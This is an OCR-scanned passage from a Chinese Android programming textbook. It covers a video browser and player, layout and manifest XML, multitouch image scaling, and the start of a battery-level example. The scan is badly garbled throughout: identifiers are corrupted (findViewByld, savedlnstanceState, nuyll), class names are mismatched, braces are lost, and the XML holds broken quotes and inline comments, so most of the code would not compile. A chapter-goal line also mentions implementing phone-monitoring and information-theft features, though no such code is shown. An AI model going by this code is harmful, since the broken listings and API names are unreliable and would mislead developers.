public class BrowserActivity extends Activity { 
private ImageButton back = null ; 
private ListView videolist = null; 
private SimpleAdapter recordSimpleAdapter = null; 
private List<Map<String, Object>> recordFiles = null; 
private String recDir = "mldnvideo"; 
private File recordVideoSaveFileDir = null; 
private boolean sdcardExists = false; 


> 
_ 


// 定 义 按钮 

// 定 义 列表 视图 

// 适 配器 

/保存 所 有 的 List 数据 
/保存 目录 

/文件 保存 目录 

// 判 断 SD 卡 是 否 存在 


本 程序 的 主要 功能 是 进行 数据 的 列表 显示 ， 而 且 可 以 直接 通过 指定 的 视频 保存 目录 读 取 所 


有 已 录制 的 视频 文件 ， 在 该 类 中 的 属性 作用 介绍 如 下 。 


ListView videolist: 进行 列表 显示 的 组 件 。 


String recDir: 默认 的 视频 保存 目录 。 


加 回回 罗 网罗 


文件 夹 中 的 全 部 文件 。 
回 boolean sdcardExists: SD 卡 是 否 存在 的 标记 信息 。 
@Override 
public void onCreate(Bundle savedInstanceState) { 
Super.onCreate(savedlnstanceState); 
super.setContentView(R.layout.browsen); 
this.videolist = (ListView) super .findViewByld(R.id.videolist); 
this.back = (ImageButton) super .findViewBylId(R.id.back) ; 


ImageButton back: “返回 ”按钮 ， 单 击 此 按钮 将 返回 到 MyMediaRecorderDemo 程序 。 


SimpleAdapter recordSimpleAdapter: ListView 数据 填充 的 适配器 类 。 
List<Map<String, Object>> recordFiles: 保存 所 有 的 视频 文件 信息 。 


File recordVideoSaveFileDir: 视频 保存 目录 的 File 对 象 ， 可 以 使 用 listFiles0) 方 法 列 出 此 


/调用 布局 管理 器 
/查找 组 件 
/查找 组 件 


if (this.sdcardExists = Environment.getExternalStorageState().equals( 


Environment.MEDIA_MOUNTED)) { 
this.recordVideoSaveFileDir = new File(Environment 
.getExternalStorageDirectory().toString() 
+ File.separator 


// 判 断 SD 卡 是 否 存 在 
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+ BrowserActivity.this.recDir + File.separator); // 保 存 录 音 目录 


if (Ithis.recordVideoSaveFileDir.exists()) { // 父 文件 夹 不 存在 
this.recordVideoSaveFileDir.mkdirs(); // 创 建新 的 文件 夹 
} 
} 
this.getRecordFiles(); /取得 全 部 的 文件 列表 
this.videolist.setOnltemClickListener( 
new OnltemClickListenerImpl()); // 设 置 单 击 事件 


this.back.setOnClickListener(new BackOnClickListenerlImpl());// 设 置 单 击 事件 
} 
onCreate() 方 法 的 主要 功能 就 是 取出 browser.xml 文件 中 定义 的 各 个 组 件 ， 并 判断 SD 卡 是 否 
存在 以 及 为 组 件 绑 定 相应 的 事件 处 理 类 对 象 。 


private void getRecordFiles(){ // 取 得 全 部 录音 文件 
this.recordFiles = new ArrayList<Map<String, Object>>(); /实例 化 List 集合 
if (this.sdcardExists) { // 如 果 SD 卡 存 在 

File files[] = this.recordVideoSaveFileDir.listFiles(); // 列 出 目录 中 的 文件 


for (int x = 0; x < files.length; x++) { 
Map<String, Object> filelnfo = new HashMap<String, Object>(); 
filelnfo.put("filename", files[x].getName()); // 增 加 显示 内 容 
this.recordFiles.add(filelnfo); /保存 数据 
b 
this.recordSimpleAdapter = new SimpleAdapter(this, 
this.recordFiles, R.layout.recordfiles, 
new String[] { "filename" }, 
new intl] { R.id.flename }); /实例 化 适配器 
this.videolist.setAdapter(this.recordSimpleAdapter); /定义 列表 视图 
} 
} 
getRecordFiles() 方 法 的 主要 功能 是 将 给 定 目 录 中 的 全 部 文件 列 出 , 之 后 将 这 些 文件 信息 设置 
到 List 集合 中 , 最 后 再 将 此 List 集合 设置 到 SimpleAdapter 对 象 中 , 以 完成 ListView 组 件 显示 数 
据 的 配置 。 
private class OnltemClickListenerImpl implements OnltemClickListener { 


@Override 
public void onltemClick(AdapterView<?> adapter, View view, 
int position, long id) { // 选 项 单 击 
if (BrowserActivity.this.recordSimpleAdapter. 
getltem(position) instanceof Map) { // 判 断 是 否 是 Map 实例 
Map<?, ?> map = (Map<?, ?>) BrowserActivity.this.recordSimpleAdapter 
.getltem(position); // 取 出 指定 位 置 的 内 容 
Intent intent = new Intent(BrowserActivity.this, 
PlayVideoActivity.class); /指定 Intent 


intent.putExtra( filepath ， 
BrowserActivity.this.recordVideoSaveFileDirtoString() 
+ File.separator 
+ map.get("filename").toString()); 
BrowserActivity.this.startActivity(intent); /启动 Activity 
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本 事件 处 理 程序 的 主要 功能 是 当 用 户 单 击 一 个 视频 文件 时 进行 播放 ， 当 用 户 选 中 一 个 文件 
之 后 , 会 直接 通过 Intent 跳 转 到 PlayVideoActivity 程序 中 完成 视频 文件 播放 , 同时 传递 要 播放 的 
视频 路 径 。 

private class BackOnClickListenerImpl implements OnClickListener{ 
@Override 
public void onClick(View view) { 
Intent it = new Intent(BrowserActivity.this, 
MyMediaRecorderDemo.class); // 指 定 Intent 
BrowserActivity.this .startActivity(it) ; // 跳 转 Intent 


1 
} 
由 于 本 程序 是 通过 MyMediaRecorderDemo 程序 打开 的 ， 所 以 当 用 户 不 再 需要 进行 文件 浏览 
时 ， 可 以 通过 此 操作 返回 到 MyMediaRecorderDemo 程序 ， 程 序 的 运行 效果 如 图 10-28 所 示 。 


CEEZTTTTE 


划 MLDNVideo_131 
其 MLDNVideo_131 


图 10-28 ”列表 显示 所 有 视频 文件 


【 例 10-62】 定义 视频 播放 程序 PlayVideoActivity 的 布局 管理 器 一 一 play.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apk/res/android" 
android:orientation="vertica/” // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent"> // 布 局 管理 器 高 度 为 屏幕 高 度 
<LinearLayout // 内 赃 线 性 布局 管理 器 

xmlns:android="http:/schemas.android.com/apK/res/android” 
android:orientation="horizontal” /所 有 组 件 水 平 摆 放 
android:layout_width="wrap_content”" // 布 局 管理 器 宽度 为 内 部 组 件 宽度 
android:layout_height= "wrap_content> // 布 局 管理 器 高 度 为 内 部 组 件 高 度 
<ImageButton /图 片 按钮 
android:id="@+id/play”" // 组 件 ID， 程 序 中 使 用 


android:layout_width="wrap_content” ”// 组 件 宽度 为 图 片 宽度 
android:layout_height="wrap_content” ”// 组 件 高 度 为 图 片 高 度 


android:src="@drawable/play" /> // 显 示 图 片 
<ImageButton // 图 片 按钮 
android:id="@+id/stop" // 组 件 ID， 程 序 中 使 用 
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android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽 度 
android:layout_height="wrap_content” ”// 组 件 高 度 为 图 片 高 度 


android:src="@drawable/stop" /> // 显 示 图 片 
<ImageButton /| 图片 按钮 
android:id="@+id/back”" // 组 件 ID， 程 序 中 使 用 


android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽 度 
android:layout_height="wrap_content” ”// 组 件 高 度 为 图 片 高 度 


android:src="@drawable/back" /> // 显 示 图 片 
</LinearLayout> // 内 赃 线 性 布局 管理 器 完结 
<SurfaceView /定义 SurfaceView 

android:id="@+id/surfaceView” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” 1/ 组件 宽度 为 自身 宽度 


android:layout_height="wrap_content" /> // 组 件 高 度 为 自身 高 度 
</LinearLayout> 
【 例 10-63】 定义 PlayVideoActivity 程序 ， 完 成 视频 播放 操作 (分 段 显 示 ) 

package org.Ixh.demo; 
import android.app.Activity; 
import android.content. Intent; 
import android.media.AudioManager; 
import android.media.MediaPlayer; 
import android.os.Bundle; 
import android.view.KeyEvent; 
import android.view.SurfaceHolder; 
import android.view.SurfaceView; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.ImageButton; 
public class PlayVideoActivity extends Activity { 

private SurfaceView surfaceView = null; 

private SurfaceHolder surfaceHolder = null; 

private MediaPlayer media = null; 


private ImageButton play = null; // 定 义 按钮 
private ImageButton stop = null; /| 定义 按钮 
private ImageButton back = null ; /定义 按钮 
private String filepath = null ; /播放 文件 路 径 


本 程序 的 主要 功能 是 使 用 MediaPlayer 类 完成 视频 的 播放 操作 ， 在 此 类 中 定义 了 如 下 几 个 属性 。 

回 SurfaceView surfaceView: 定义 SurfaceView 组 件 以 显示 视频 内 窒 

回 SurfaceHolder surfaceHolder: 配置 SurfaceView 组 件 的 各 个 显示 参数 。 

回 MediaPlayer media: 用 于 完成 视频 文件 的 播放 。 

回 ”ImageButton play: 当 用 户 按 下 按钮 后 将 播放 指定 视频 。 

回 ImageButton stop: 当 用 户 按 下 按钮 后 将 停止 视频 播放 。 

回 ImageButton back: 通过 此 按钮 可 以 返回 到 BrowserActivity 程序 。 

回 String filepath: 保存 要 播放 的 视频 文件 路 径 ， 此 路 径 通过 Intent 传递 而 来 。 

@Override 

protected void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.play); // 设 置 布局 管理 器 
this.play = (ImageButton) super.findViewByld(R.id.play); // 取 得 组 件 
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this.stop = (ImageButton) super.findViewBylId(R.id.stop); /取得 组 件 
this.back = (ImageButton) super.findViewByld(R.id.back); /取得 组 件 
this filepath = super.getintent().getStringExtra("filepath"); 
this.surfaceView = (SurfaceView) Super 
findViewByld(R.id.surfaceView); // 取 得 组 件 
this.surfaceView.getHolder().setType( 
SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS); /设置 SurfaceView 的 类 型 
this.surfaceView = (SurfaceView) super .findViewByld(R.id.surfaceView); 
this.surfaceHolder = this.surfaceView.getHolder(); // 取 得 SurfaceHolder 
this.surfaceHolder.setType( 
SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);// 设 置 SurfaceView 的 类 型 


this.media = new MediaPlayer(); /| 创建 MediaPlayer 对 象 
this.media.reset() ; // 重 置 操作 
try{ 
this.media.setDataSource(filepath); // 设 置 播放 文件 的 路 径 
} catch (Exception e){ 
e.printStackTrace(); 
} 


this.play.setOnClickListener(new PlayOnClickListenerImpl()); // 单 击 事件 
this.stop.setOnClickListener(new StopOnClickListenerImpl()); // 单 击 事件 
this.back.setOnClickListener(new BackOnClickListenerlImpl());// 单 击 事件 
} 
onCreate() 方 法 主要 是 接收 各 个 组 件 并 配置 SurfaceView 的 各 个 显示 参数 ， 而 要 播放 的 视频 文件 
路 径 ， 则 由 BrowserActivity 程序 通过 Intent 传递 ， 所 以 在 本 程序 中 要 使 用 getStringExtra("filepath") 
方法 接收 ， 而 后 为 各 个 组 件 绑 定 相应 的 事件 处 理 操作 。 
private class PlayOncClickListenerlImpl implements OnClickListener { 
@Override 
public void onClick(View arg0) { 
PlayVideoActivity.this.media.setAudioStreamType( 


AudioManager.STREAM_MUSIC); // 设 置 音频 类 型 
PlayVideoActivity.this.media.setDisplay( 
PlayVideoActivity.this.surfaceHolden); /设置 显示 的 区 域 
ft 
4 PlayVideoActivity.this.media.prepare(); /预备 状态 
PlayVideoActivity.this.media.start(); /播放 视频 
} catch (Exception e){ 
e.printStackTrace(); 
} 


b 
} 
本 事件 处 理 类 的 主要 功能 是 完成 视频 的 播放 ， 并 且 将 视频 的 显示 设置 到 SurfaceHolder 中 。 
private class StopOnClickListenerImpl implements OnClickListener { 

@Override 

public void onClick(View arg0) { 

PlayVideoActivity.this.media.stop(); // 停 止 播放 

} 
} 
本 事件 处 理 类 的 功能 是 暂停 视频 的 播放 操作 。 
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private class BackOnClickListenerImpl implements OnClickListener{ 
@Override 
public void onClick(View view) { 
Intent it = new Intent(PlayVideoActivity.this, 
BrowserActivity.class); /指定 Intent 
PlayVideoActivity.this.startActivity(it) ; // 跳 转 Intent 


} 
当 播 放 完 成 之 后 ， 用 户 可 以 通过 此 按钮 返回 BrowserActivity 程序 ， 可 以 选择 新 的 视频 文件 
进行 播放 。 
@Override 
public boolean onKeyDown(int keyCode, KeyEvent event) { 
if (keyCode == KeyEvent.KEYCODE_BACK){ // 如 果 是 手机 上 的 返回 键 
this.media.stop(); 
this.media.release(); 
this .finish(); // 程 序 结束 


} 
return false; 


} 
当 用 户 按 手 机 上 的 “返回 ” 键 之 后 将 停止 视频 的 播放 操作 ， 并 且 释 放 MediaPlayer 所 占用 的 
资源 ， 同 时 结束 此 Activity 程序 ， 视 频 播 放 的 界面 效果 如 图 10-29 所 示 。 


图 10-29 视频 播放 


除了 以 上 配置 外 ， 本 程序 还 需要 在 AndroidManifestxml 文件 中 配置 各 个 Activity 程序 以 及 
相应 权限 。 

【 例 10-64】 配置 AndroidManifest.xml 文件 

<?xml version="1.0" encoding="utf-8"?> 

<manifest xmIns:android="http:///schemas.android.com/apK/res/android" 


package="org.lxh.demo” // 程 序 所 在 的 包 名 称 
android:versionCode="1" // 程 序 的 版 本 编号 
android:versionName="1.0"> // 程 序 的 版 本 名 称 
<uses-sdk android:minSdkVersion="10" /> // 程 序 运行 的 最 低 SDK 
<application // 配 置 应 用 程序 
android:icon="@drawable/icon" android:label="@string/app_name"> 
<activity // 配 置 Activity 程序 
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android:name=".MyMediaRecorderDemo” /程序 所 在 类 
android:label="@string/app_name” /程序 名 称 
android:screenOrientation="landscape”> /屏幕 横 屏 运行 
<intent-filter> // 上 默认 启动 


<action android:name="android.intent.action.MAIN" /> 


<category android:name="android.intent.category.LAUNCHER" /> 


</intent-filter> 


</activity> 
<activity // 配 置 Activity 程序 
android:name=".BrowserActivity" /程序 所 在 类 
android:screenOrientation="anascape"/> // 屏 幕 横 屏 运行 
<activity // 配 置 Activity 程序 
android:name=".PlayVideoActivity" // 程 序 所 在 类 
android:screenOrientation="/landscape”" /> // 屏 幕 横 屏 运行 
</application> 
<uses-permission // 照 相机 权限 
android:name="android.permission.CAMERA" /> 
<uses-permission /录音 权限 
android:name="android.permission.RECORD_AUDIO"/> 
<uses-permission //SD 卡 存储 权限 
android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> 
<uses-permission //SD 卡 创建 与 删除 文件 权限 


android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> 


</manifest> 


以 上 程序 只 是 完成 了 一 些 最 基本 的 操作 功能 ， 在 使 用 时 一 定 要 根据 自身 的 设备 环境 来 配置 
各 个 视频 录制 的 参数 〈 分 辨 率 、 编 码 格式 ) 才 可 以 正常 运行 。 当 然 ， 有 兴趣 的 读者 可 以 继续 在 


此 基础 上 进行 研究 ， 以 完成 一 些 更 复杂 的 操作 。 


10.8 多 点 触 控 


多 点 触 控 指 可 以 同时 对 用 户 的 多 个 屏幕 触摸 点 进行 监听 ， 并 进行 相应 处 理 的 一 种 操作 ， 在 


Activity 类 中 ， 使 用 onTouchEvent0 方 法 完成 多 点 触 控 ， 此 方法 定义 如 下 : 
public boolean onTouchEvent(MotionEvent event) 0 


可 以 发 现 ， 在 此 方法 中 有 一 个 android.view.MotionEvent 类 的 事件 对 象 ， 实 际 上 用 户 可 以 通 
过 该 事件 对 象 完成 对 多 个 触摸 点 的 操作 监听 ， 而 MotionEvent 类 的 常用 方法 如 表 10-34 所 示 。 


表 10-34 MotionEvent 类 的 常用 方法 


方 ” 法 


描 


述 


public final int getAction0) 


返回 操作 的 Action 类 型 ， 如 按 下 或 松 开 


public final long getDownTime0 返回 按 下 的 时 间 


事件 操作 的 结束 时 间 


public final lone setEventTimeg) 


public final int setPointerCount) 
public final float 
public final float 
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当 有 多 个 触摸 点 接触 屏幕 时 ， 可 以 使 用 getPointerCount() 取 得 这 些 触摸 点 的 个 数 ， 而 后 利用 
getX() 和 getY0 方 法 ， 取 得 指定 编号 触摸 点 的 坐标 并 进行 后 续 操 作 。 下 面 使 用 多 点 触 控 完成 一 个 
图 片 的 放大 与 缩小 功能 ， 该 程序 可 以 根据 用 户 手指 的 滑动 情况 来 决定 图 片 的 放大 或 缩小 。 另 外 ， 
于 对 于 图 片 的 改变 也 需要 对 显示 的 界面 进行 不 断 地 刷新 操作 ， 所 以 本 程序 继续 使 用 
SurfaceView 作为 图 片 的 高 速 缓冲 区 显示 图 片 ， 本 程序 的 操作 流程 如 图 10-30 所 示 。 


初期 间距 


图 10-30 ”触摸 缩放 图 片 原理 


通过 图 10-30 可 以 发 现 , 本 程序 首先 必须 将 图 片 设置 于 屏幕 的 中 心 点 , 而 后 当 用 户 通过 触摸 
点 拖 动 时 ， 要 随时 计算 图 像 的 平移 坐标 ， 因 为 随 着 放大 ， 该 平移 点 的 位 置 也 会 发 生 改 变 ， 所 以 
要 通过 图 像 的 扩大 而 不 断 地 进行 计算 ， 才 可 以 始终 让 图 片 显示 在 居中 的 位 置 。 


gn 


提示 
关于 本 程序 的 说 明 。 
本 程序 只 是 为 读者 演示 了 手机 的 常见 功能 开发 ， 程 序 中 进行 的 图 片 缩放 计算 、 坐 标点 的 
计算 只 是 采用 了 最 简单 的 形式 ， 并 不 严格 ， 数 学 相关 专业 的 读者 可 以 自行 设计 坐标 及 缩放 的 
， 计 算 公 式 。 另 外 ， 本 程序 不 能 通过 模拟 器 完成 ， 只 能 通过 手机 完成 。 


【 例 10-65】 定义 Activity 程序 ， 完 成 图 片 的 操作 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content.Context; 
import android.graphics.Bitmap; 
import android.graphics.BitmapFactory; 
import android.graphics.Canvas; 
import android.graphics.Color; 
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import android.graphics.Matrix; 

import android.graphics.Paint; 

import android.os.Bundle; 

import android.view.MotionEvent'; 

import android.view.SurfaceHolder 

import android.view.SurfaceView; 

import android.view.Window; 

import android.widget.ImageView; 

public class MyMultitouchDemo extends Activity { 


private static final int SCALEBASIC = 3; // 放 大 比率 的 调整 倍数 
private Bitmap bitmap = null; // 通 过 Bitmap 控制 图 片 
private ImageView img = null; /定义 显示 图 片 

private SurfaceHolder holder = null; //SurfaceHolder 对 象 
private int screenWidth = 0; /保存 屏幕 宽度 

private int screenHeight = 0; /保存 屏幕 高 度 

private int imageWidth = 0; // 图 片 宽 度 

private int imageHeight = 0; // 图 片 高 度 

private int imageX = 0; /保存 图 片 开始 的 X 轴 
private int imageY = 0; // 保 存 图 片 开始 的 Y 轴 


本 程序 属于 媒体 文件 的 操作 ， 而 每 一 次 的 图 片 改 变 都 会 通过 Bitmap 重新 在 SurfaceView 组 
件 中 生成 ， 而 且 图 片 的 放大 与 缩小 都 是 采用 相对 方式 计算 的 ， 需 要 保存 好 每 次 操作 图 片 的 宽度 
(imageWidth) 和 高 度 (imageHeight) 。 

@Override 

public void onCreate(Bundle savedInstanceState) { 
Super.onCreate(savedlnstanceState); 
super.requestWindowFeature(Window.FEATURE_NO_TITLE); /不 显示 标题 
this.screenWidth = super.getWindowManager().getDefaultDisplay() 


.getWidth(); // 取 得 屏幕 宽度 
this.screenHeight = Super.getWindowManager().getDefaultDisplay() 

.getHeight(); // 取 得 屏幕 高 度 
this.img = new ImageView!(this); /定义 ImageView 
this.bitmap = BitmapFactory.decodeResource(super.getResources(), 

R.drawable.android_book); // 取 得 Bitmap 
this.imageWidth = this.bitmap.getWidth(); /| 图片 宽度 
this.imageHeight = this.bitmap.getHeight(); /图片 高 度 


this.imageX = (this.screenWidth - this.imageWidth) / 2; /图 片 开 始 的 X 轴 
this.imageY = (this.screenHeight - this.imageHeight) / 2; // 图 片 开始 的 Y 轴 


this.img.setlmageBitmap(this.bitmap); /显示 图 片 
super.setContentView(new MySurfaceView(this)); // 使 用 SurfaceView 封装 


} 
由 于 本 程序 的 图 片 要 动态 生成 , 所 以 项 目 中 的 图 片 显示 组 件 (ImageView) 将 通过 程序 产生 ， 
并 且 将 生成 的 ImageView 组 件 放 到 SurfaceHolder.Callback 接口 子 类 中 进行 控制 。 
private class MySurfaceView extends SurfaceView implements 
SurfaceHolder.Callback { /实现 SurfaceView 
public MySurfaceView(Context context) { 
super(context); 
MyMultitouchDemo.this.holder = super.getHolder(); /取得 SurfaceHolder 
MyMultitouchDemo.this.holder.addCallback(this); /加 入 Callback 操作 
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super.setFocusable(true); // 可 以 接收 触摸 事件 
} 
@Override 
public void surfaceChanged(SurfaceHolder holder, int format, int width, 
int height) { JSurfaceView 改变 
1 
@Override 
public void surfaceCreated(SurfaceHolder holder) { //SurfaceView 创建 
MyMultitouchDemo.this.setImage( 
MyMultitouchDemo.this.getScale(10, 10) 
, 350, 500); // 设 置 默 认 显示 图 片 
} 
@Override 
public void surfaceDestroyed(SurfaceHolder holder) { /1/ 销 毁 
} 


} 

SurfaceHolder.Callback 接口 主要 负责 图 片 的 显示 , 由 于 图 片 在 每 次 放大 和 缩小 之 后 都 需要 
新 绘制 ， 所 以 在 SurfaceView 创建 时 会 默认 在 指定 的 坐标 〈350.300) 上 显示 图 片 ， 而 后 将 该 
SurfaceView 设置 为 允许 接收 触摸 事件 (super.setFocusable(true)) ， 这 样 每 次 就 可 以 通过 触摸 来 
修改 SurfaceView 的 显示 内 容 。 


E 


private void setlmage(float scale, int width, int height) { // 设 置 图 片 
Canvas canvas = MyMultitouchDemo.this.holder.lockCanvas(nuyll); /获取 画布 
Paint paint = new Paint(); // 填 充 底 色 
canvas.drawRect(0, 0, MyMultitouchDemo.this.screenWidth, 
MyMultitouchDemo.this.screenHeight, paint); /绘制 矩 形 
Matrix matrix = new Matrix(); /控制 图 像 
matrix.postScale(scale, scale); // 缩 放 设 置 
Bitmap target = Bitmap.createBitmap(MyMultitouchDemo.this.bitmap, 0, 0, 
width, height, matrix, true); // 创 建新 图 片 
this.imageWidth = target.getWidth(); // 取 得 新 图 片 宽度 
this.imageHeight = target.getHeight(); // 取 得 新 图 片 高 度 
this.imageX = (this.screenWidth - this.imageWidth) / 2; // 重 新 计算 X 坐标 
this.imageY = (this.screenHeight - this.imageHeight) / 2; /重新 计算 Y 坐标 
canvas.translate(this.imageX, this.imageY); // 图 像 平 移 
canvas.drawBitmap(target, matrix, null); /重新 绘图 


MyMultitouchDemo.this.holder.unlockCanvasAndPost(canvas); // 解 锁 画 布 ， 提 交 图 像 


} 

本 方法 的 主要 功能 是 在 每 次 图 片 改 变 之 后 ,进行 图 片 的 重新 绘制 操作 ,但 是 使 用 SurfaceView 
进行 图 片 修改 时 会 存在 原始 图 像 的 残留 ， 为 了 解决 该 问题 ， 首 先 在 底部 绘制 了 一 个 全 黑 的 矩形 ， 
而 后 再 使 用 Bitmap 重新 剪裁 新 的 图 片 并 显示 给 用 户 。 


private float getScale(float pointA, float pointB) { // 得 到 缩放 比率 
float scale = (pointA / pointB); 
return scale; 

} 


在 用 户 通 过 触摸 放大 或 缩小 图 片 时 ， 需 要 计算 放大 或 缩小 的 比率 ， 这 样 才 可 以 利用 Matrix 
类 的 postScale0 方 法 进行 图 像 的 缩放 ， 而 此 方法 利用 了 两 个 触摸 坐标 来 计算 放大 或 缩小 的 倍数 。 
@Override 
public boolean onTouchEvent(MotionEvent event) { /1/ 触 摸 时 间 
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int pointCount = event.getPointerCount(); // 取 得 触 控 点 的 数量 

if (pointCount == 2) { /有 两 个 触 控 点 
float pointA = event.getY(0); // 取 得 第 一 个 触摸 的 Y 坐标 
float pointB = event.getY(1); // 取 得 第 二 个 触摸 的 Y 坐标 
if (pointA < pointB) { 1/ 让 pointA 保存 最 大 点 


float temp = pointA; 
pointA = pointB; 
pointB = temp; 


if (event.getAction() != MotionEvent.ACTION_UP) { /用 户 按 下 
float scale = this.getScale(pointA, pointB) / SCALEBASIC; /计算 缩放 量 
MyMultitouchDemo.this.setlmage(scale, 350, 500); // 重 设 图 片 


j 
} 


return true; 
} 
} 
onTouchEvent0) 方 法 是 在 本 类 中 进行 覆 写 的 ， 而 当 用 户 触 摸 屏 幕 之 后 将 产生 此 事件 ， 但 是 本 
查 序 只 允许 用 户 有 两 个 触摸 点 ， 当 用 户 触摸 屏幕 之 后 ， 将 根据 触摸 的 移动 坐标 控制 图 片 的 缩放 


显示 。 


10.9 本 章 小 结 


(1) 如 果 需 要 绘制 图 形 ， 可 以 采用 直接 继承 View 类 的 方法 完成 。 

(2) 使 用 Bitmap 可 以 完成 图 片 的 缩小 、 放 大 、 剪 切 等 操作 。 

(3) Matrix 提供 了 一 个 图 形 的 变形 操作 ， 可 以 使 用 其 完成 图 像 的 平移 、 旋 转 等 。 

(4) Animation 动画 效果 可 以 通过 程序 编码 实现 ， 也 可 以 通过 配置 文件 实现 ， 但 为 了 维护 
方便 ， 建 议 使 用 配置 文件 完成 。 

(5) MediaPlayer 播放 视频 时 需要 SurfaceView 组 件 的 支持 。 

(6) 使 用 MediaRecorder 录制 视频 时 ， 可 以 根据 用 户 配 置 的 参数 ， 自 动 使 用 摄像 头 捕 捉 。 

(7) 多 点 触 控 使 用 Activity 类 中 的 onTouchEvent() 方 法 完成 。 
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通过 本 章 的 学 习 可 以 达到 以 下 目标 : 


这 些 


No. 


加 加 网 罗网 加 


可 以 使 用 Intent 取得 手机 电量 的 信息 。 

可 以 通过 AudioManager 对 手机 音量 进行 管理 。 

掌握 电话 监听 及 信息 盗 取 功 能 的 实现 方法 。 

了 解 AIDL 的 基本 操作 ， 并 可 以 实现 用 AIDL 操作 Android 的 隐藏 功能 。 
可 以 对 短信 的 发 送 情况 进行 监听 ， 并 监听 收 到 的 短信 内 容 。 

了 解 传感器 的 作用 ， 并 可 以 使 用 传感器 开发 移动 小 球 以 及 指 北 针 等 。 


本 章 将 对 Android 系统 中 对 手机 服务 的 支持 进行 详细 的 讲解 。 


11.1 


取得 电池 电量 信息 


电池 的 电量 是 手机 用 户 最 为 关心 的 问题 之 一 , 而 在 Android 系统 中 , 专门 提供 了 一 个 取得 电 
池 电 量 信息 的 Action 一 一 ACTION_BATTERY_CHANGED, 在 此 Action 中 定义 了 许多 附加 信息 ， 


附加 信息 


status 


附加 信息 的 名 称 及 作用 如 表 11-1 所 示 。 
表 11-1 ACTION_BATTERY_CHANGED 的 附加 信息 


备注 


电池 充电 状态 (BATTERY_STATUS_CHARGING) 

电池 放电 状态 (BATTERY_STATUS_DISCHARGING) 
电池 满 电 状态 (BATTERY_STATUS_FULL) 

电池 不 充电 状态 (BATTERY_STATUS_NOT_CHARGING) 
电池 未 知 状态 (BATTERY_STATUS_UNKNOWN) 


tb 


health 


取得 电池 的 健康 状态 ， 返 回 的 状态 类 型 由 android.os.BatteryManager 类 定 
义 的 常量 所 决定 ， 包 括 : 


电池 损坏 (BATIERY _ HEALTH DEAD) 

电池 健康 (BATIERY _ HEALTH GOOD) 

电池 过 热 (BATTERY _ HEALTH OVERHEAT) 

电池 电压 过 大 (BATTERY _ HEALTH OVER VOLTAGE) 

未 知 状态 (BATTERY _ HEALTH UNKNOWN) 

未 明示 故障 (BATITERY _ HEALTH UNSPECIFIED FAILURE) 


Present 


判断 当前 是 否 存在 电池 
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No.| 附 加 信息 备 注 
4 |level int 取得 电池 的 剩余 容量 
5 | scale 取得 电池 的 总 容量 ， 通 常 为 100 
6 |icon-small 取得 电池 对 应 的 图 标 人 D 
连接 的 电源 插座 类 型 ， 返 回 的 状态 类 型 由 android.os.BatteryManager 类 定 

| ed 义 的 常量 所 决定 ， 包括 : 

USB 电源 (BATTERY PLUGGED USB) 

加 ”交流 电 电源 (BATTERY PLUGGED AC) 
8 |voltage | int | 取得 电池 的 电 讨 
9 |temperature |i 取得 电池 的 温度 ， 单 位 是 摄氏 度 
10 | technology 取得 电池 类 型 

下 面 通过 一 个 程序 来 观察 如 何 取得 手机 的 电池 电量 信息 ， 本 程序 将 采用 广播 的 形式 取得 电 
池 的 剩余 电量 信息 。 


【 例 11-1】 定义 广播 接收 ， 显 示 电 池 电 量 
package org.Ixh.demo; 
import android.app.AlertDialog; 
import android.app.Dialog; 
import android.content.BroadcastReceiver 
import android.content.Context; 
import android.content.Dialoglnterface'; 
import android.content. Intent; 


BatteryInfoBroadcastReceiver 


public class BatteryInfoBroadcastReceiver extends BroadcastReceiver { /广播 接收 器 
@Override 
public void onReceive(Context ctx, Intent intent) { /接收 广播 


if (Intent.ACTION_BATTERY_CHANGED.equals(intent.getAction())) { // 判 断 Action 


int level = intent.getIntExtra("level", 0); // 取 得 电池 剩余 容量 

int scale = intent.getIntExtra("scale", 100); // 取 得 电池 总 量 

Dialog dialog = new AlertDialog.Builder(ctx) // 创 建 对 话 框 
.setTitle(" 电 池 电 量 " /设置 标题 


.setMessage(" 电 池 电 量 为 : "+ 
String.valueOfllevel * 100 / scale)+ "%") V/ 设 置信 息 
.setNegativeButton(" 关 闭 "， /设置 取消 按钮 
new Dialoglnterface.OnClickListener(){ /设置 监听 操作 
public void onClick(Dialoglnterface dialog, 


int whichButton) { 
} 
}) // 显 示 信 息 
.create(); // 创 建 Dialog 
dialog.show(); /显示 对 话 框 


} 
} 
本 程序 首先 定义 一 个 广播 接收 器 类 , 之 后 通过 指定 的 Intent 取 
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的 是 level (电池 剩余 容量 ) 和 scale〈 总 电量 ) ， 之 后 利用 一 个 对 话 框 弹 出 显示 信息 。 
【 例 11-2】 定义 布局 管理 器 一 一 main xml 

<?xml version="1.0" encoding="utf-8"?> 

<LinearLayout 
xmlIns:android="http:/schemas.android.com/apK/res/android”" 
android:orientation="vVertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 


<Button /按钮 组 件 
android:id="@+id/but" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content" // 组 件 高 度 为 屏幕 高 度 
android:text=" 殉 得 息 党 下 描 " /> // 默 认 显 示 文 字 

</LinearLayout> 

【 例 11-3】 定义 Activity 程序 
package org.Ixh.demo; 
import android.app.Activity; 


import android.content. Intent; 
import android.content. IntentFilter; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.Button; 
public class BatteryDemo extends Activity { 
private Button but = null; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


